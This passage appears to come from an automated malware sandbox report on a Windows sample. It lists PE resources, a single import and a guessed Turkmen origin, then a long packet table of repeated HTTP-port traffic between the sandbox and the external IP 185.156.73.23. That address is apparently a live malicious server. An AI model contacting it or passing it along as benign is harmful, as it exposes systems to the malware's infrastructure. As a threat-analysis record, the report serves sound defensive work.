RT_ICON	0x86e8a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Turkmen	Turkmenistan	0.740606936416185
RT_ICON	0x86ee10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Turkmen	Turkmenistan	0.6840248962655602
RT_ICON	0x8713b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Turkmen	Turkmenistan	0.7345215759849906
RT_ICON	0x872460	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Turkmen	Turkmenistan	0.7622950819672131
RT_ICON	0x872de8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Turkmen	Turkmenistan	0.8111702127659575
RT_STRING	0x413c80	0x330	data			0.8308823529411765
RT_STRING	0x413fb0	0x170	data			0.15
RT_STRING	0x414120	0x620	empty			0
RT_STRING	0x414740	0x762	empty			0
RT_STRING	0x414ea4	0x852	empty			0
RT_STRING	0x4156f8	0x726	empty			0
RT_STRING	0x415e20	0x658	empty			0
RT_STRING	0x416478	0x6c0	empty			0
RT_STRING	0x416b38	0x638	empty			0
RT_STRING	0x417170	0x88a	empty			0
RT_ACCELERATOR	0x4179fc	0x20	empty			0
RT_GROUP_ICON	0x873250	0x76	data	Turkmen	Turkmenistan	0.6610169491525424
RT_VERSION	0x8732c6	0x1b4	data			0.5711009174311926
RT_MANIFEST	0x87347a	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
Turkmen	Turkmenistan

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:19:08.541693926 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:08.661417961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:08.662071943 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:08.662373066 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:08.781878948 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:10.022027016 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:10.022231102 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:10.072797060 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:10.192404032 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:10.544985056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:10.545043945 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:10.553195953 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:10.672905922 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.112440109 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.112510920 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.112575054 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.112576008 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.112737894 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.112751007 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.112799883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.112799883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.112962961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.113028049 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.113045931 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.113058090 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.113061905 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.113061905 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.113070011 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.113101959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.113101959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.120970964 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.121052027 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.121098995 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.122704983 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.129287958 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.129367113 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.232238054 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.232352018 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.303906918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.304061890 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.304380894 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.304469109 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.306252956 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.306327105 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.306360006 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.306437016 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.314510107 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.314543962 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.314620018 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.314655066 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.322340012 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.322390079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.322402954 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.322441101 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.330296040 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.330394983 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.330923080 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.330991030 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.338294029 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.338354111 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.338732958 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.338790894 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.346412897 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.346508026 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.346580982 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.346638918 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.354289055 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.354357004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.355274916 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.355326891 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.362332106 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.362432957 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.363161087 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.363218069 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.370352030 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.370414019 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.370618105 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.370667934 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.377490044 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.377571106 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.377590895 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.377651930 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.384727955 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.384782076 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.384805918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.384850025 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.391390085 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.391436100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.496170044 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.496251106 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.496454000 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.496499062 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.498496056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.498584986 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.498662949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.498706102 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.503396988 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.503479004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.503930092 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.503977060 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.508245945 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.508317947 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.508583069 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.508646011 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.512936115 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.513084888 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.513115883 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.513161898 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.517530918 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.517602921 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.517780066 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.517829895 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.522181034 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.522279024 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.522285938 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.522326946 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.526381969 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.526509047 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.526674032 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.526721954 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.530957937 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.531064987 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.531362057 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.531414032 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.535360098 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.535433054 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.535569906 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.535643101 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.539654016 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.539706945 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.540071964 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.540127039 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.544146061 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.544199944 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.544409037 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.544456959 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.548589945 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.548640013 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.548827887 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.548880100 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.553037882 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.553101063 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.553191900 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.553240061 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.557502985 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.557559013 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.558140039 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.558183908 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.561935902 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.561990023 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.562074900 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.562122107 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.566354036 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.566402912 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.566442013 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.566479921 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.570810080 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.570858002 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.570939064 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.570982933 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.575561047 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.575628042 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.576351881 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.576391935 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.579646111 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.579725981 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.579817057 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.579864025 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.584110022 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.584160089 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.584213972 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.584259033 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.588629961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.588680983 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.588692904 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:11.588728905 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.611946106 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:11.731937885 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:12.100583076 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:12.100708961 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:14.136645079 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:14.256340027 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:14.671808958 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:14.671901941 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:16.699244022 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:16.822437048 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:17.198189974 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:17.198302031 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:19.284249067 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:19.405770063 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:20.108987093 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:20.109046936 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:22.136488914 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:22.256145954 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:22.990149975 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:22.990307093 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:25.027235031 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:25.146882057 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:25.553534031 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:25.555054903 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:27.589895964 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:27.709692955 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:28.125155926 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:28.125267029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:30.198832989 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:30.318470955 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:31.360497952 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:31.360610008 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:33.402473927 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:33.522526026 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:33.940500021 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:33.940566063 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:35.980062962 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:36.099730015 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:36.516155005 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:36.516237974 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:38.543700933 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:38.663626909 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:39.387099981 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:39.387222052 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:42.464445114 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:42.584453106 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.151519060 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.151581049 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.151632071 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.151667118 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.153146029 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.153198957 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.153331995 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.153484106 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.156161070 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.156213999 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.157449961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.157489061 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.157646894 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.157681942 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.160773039 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.160824060 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.161667109 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.161715031 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.163611889 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.163660049 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.163883924 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.163924932 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.166838884 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.166920900 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.167494059 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.167543888 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.270426989 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.270674944 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.270723104 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.270770073 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.272058964 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.272098064 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.272115946 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.272133112 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.275058031 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.275121927 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.276206970 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.276259899 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.276370049 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.276408911 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.279551983 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.279844046 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.279937983 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.279999971 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.282500982 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.282562017 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.282571077 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.282608032 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.285634995 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.285654068 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.285712004 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.288737059 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.288811922 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.288937092 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.289000034 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.291887045 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.291971922 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.291986942 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.292023897 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.295113087 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.295147896 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.295185089 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.295195103 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.298311949 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.298377991 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.299061060 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.299110889 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.301295042 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.301357031 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.301443100 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.301498890 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.304421902 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.304470062 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.389364004 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.389585018 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.389612913 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.389669895 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.390758038 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.390818119 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.391509056 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.391571999 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.393946886 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.394010067 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.394356012 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.394407988 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.397187948 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.397252083 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.397260904 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.397325039 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.400233984 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.400295973 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.400434017 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.400481939 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.403326035 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.403389931 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.403692961 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.403743029 CET	49735	80	192.168.2.4	185.156.73.23
Dec 20, 2024 16:19:43.406471014 CET	80	49735	185.156.73.23	192.168.2.4
Dec 20, 2024 16:19:43.406527996 CET	49735	80	192.168.2.4	185.156.73.23
